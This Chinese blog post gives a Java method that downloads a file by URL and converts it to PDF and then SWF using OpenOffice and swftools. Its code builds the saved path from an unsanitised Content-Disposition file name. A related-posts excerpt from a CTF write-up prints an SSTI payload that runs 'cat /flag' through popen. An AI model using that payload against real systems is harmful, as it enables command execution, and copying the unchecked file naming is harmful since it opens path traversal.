文件下载,带转码->pdf->swf

文件下载,带转码->pdf->swf

大家好,又见面了,我是全栈君。

private String upload = “保存的路径”;

//文件下载

public String download() {


//初始化


this.initContext();


String apath = request.getSession().getServletContext().getRealPath(upload);





File af = new File(apath);


// 假设没有这个目录。就创建个目录


if (!af.exists()) {


af.mkdirs();


}


String filenewaddress = request.getSession().getServletContext().getRealPath(upload);

    


System.out.println(“開始下载,请稍后……”);


URL urlfile = null;


HttpURLConnection httpUrl = null;


BufferedInputStream bis = null;


BufferedOutputStream bos = null;


try {





// 把下载地址赋给urlfile 


urlfile = new URL(fileoldaddress);


// 打开下载 URL 引用的资源的通信链接(假设尚未建立这种连接)


httpUrl = (HttpURLConnection) urlfile.openConnection();


// 建立与指定socket的连接


httpUrl.connect();


// 提供一个默认的文件名称


String context = httpUrl.getHeaderField(“Content-Disposition”);


// 推断context是否为空


if (context == null) {


// 取地址最后的/后面的字符当做名字


filename1 = fileoldaddress.substring(fileoldaddress


.lastIndexOf(“/”) + 1, fileoldaddress.length());


filenewaddress = filenewaddress + “\\” + filename1;


} else {


filename1 = context.substring(context.lastIndexOf(“=”) + 1,


context.length());


filenewaddress = filenewaddress + “\\” + filename1;


}


// 把本地保存地址赋给f


File f = new File(filenewaddress);


bis = new BufferedInputStream(httpUrl.getInputStream());


bos = new BufferedOutputStream(new FileOutputStream(f));


int len = 2048;


byte[] b = new byte[len];


while ((len = bis.read(b)) != -1) {


bos.write(b, 0, len);


}


bos.flush();


bis.close();


httpUrl.disconnect();


System.out.println(“下载完毕。”);


} catch (Exception e) {


System.out.println(“无效下载地址,错误信息:” + e.getMessage());


this.msg = “下载失败!”;


this.success = false;


} finally {


try {


if (bis != null)


bis.close();


if (bos != null)


bos.close();


} catch (IOException e) {


System.out.println(“系统错误,错误信息:” + e.getMessage());


System.out.println(“请联系管理员!”);


}


}


// 下载到本地结束

// 取绝对路径+名


String filepath = apath + “\\” + filename1;


System.out.println(filepath);


// 转格式


DocConverter d = new DocConverter(filepath);


d.conver();


// 转格式结束


return “success”;

}

转码须要用到两个软件!

    Apache_OpenOffice_incubating_3.4.1_Win_x86_install_zh-CN

                                                  swftools

必须先启动这两个软件,才干转码

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/115691.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • CTFSHOW SSTI篇[通俗易懂]

    CTFSHOW SSTI篇[通俗易懂]文章目录web361web362web363web364web365web366、367web368web369web370web371web372建议大家先看下笔者之前写的模板注入的文章web361payloadname={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__[‘popen’](‘cat/flag’).read()}}web362payload?name={{x.__init__.__glo

    2022年10月19日
    4
  • Mysql覆盖索引_mysql索引长度限制

    Mysql覆盖索引_mysql索引长度限制如果一个索引包含(或覆盖)所有需要查询的字段的值,称为‘覆盖索引’。即只需扫描索引而无须回表。只扫描索引而无需回表的优点:    1.索引条目通常远小于数据行大小,只需要读取索引,则mysql会极大地减少数据访问量。    2.因为索引是按照列值顺序存储的,所以对于IO密集的范围查找会比随机从磁盘读取每一行数据的IO少很多。    3.一些存储引擎如myisam在内存中只缓存索引,数据则依赖于操作…

    2022年8月30日
    1
  • html5表格内容怎么居中_html表格上下居中

    html5表格内容怎么居中_html表格上下居中回答:IE6/7及IE8混杂模式中,text-align:center可以使块级元素也居中对齐。其他浏览器中,text-align:center仅作用于行内内容上。解决这个问题比较好的方式,就是为所有需要相对父容器居中对齐的块级元素设置“margin-left:Auto;margin-right:Auto”。但这个方式IE6/IE7/IE8的混杂模式中不支持,所以还要设置父容器的”text…

    2025年11月20日
    3
  • 遇到奇怪的问题,帮助威猛答案,表单提交的文件提交的无限数据问题

    遇到奇怪的问题,帮助威猛答案,表单提交的文件提交的无限数据问题

    2022年1月6日
    42
  • android 环境搭建

    android 环境搭建

    2021年9月4日
    56
  • 删除数组中某个指定元素的值_如何删除数组中的元素

    删除数组中某个指定元素的值_如何删除数组中的元素首先可以给JS的数组对象定义一个函数,用于查找指定的元素在数组中的位置,即索引,代码为:Array.prototype.indexOf=function(val){for(vari=0;i<this.length;i++){if(this[i]==val)returni;}return-1;};然后使用通过得到这个元素的索引,使用js数组自己固有的函数去删除这个元素:Array.prototype.remove=function(va

    2022年8月11日
    9

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号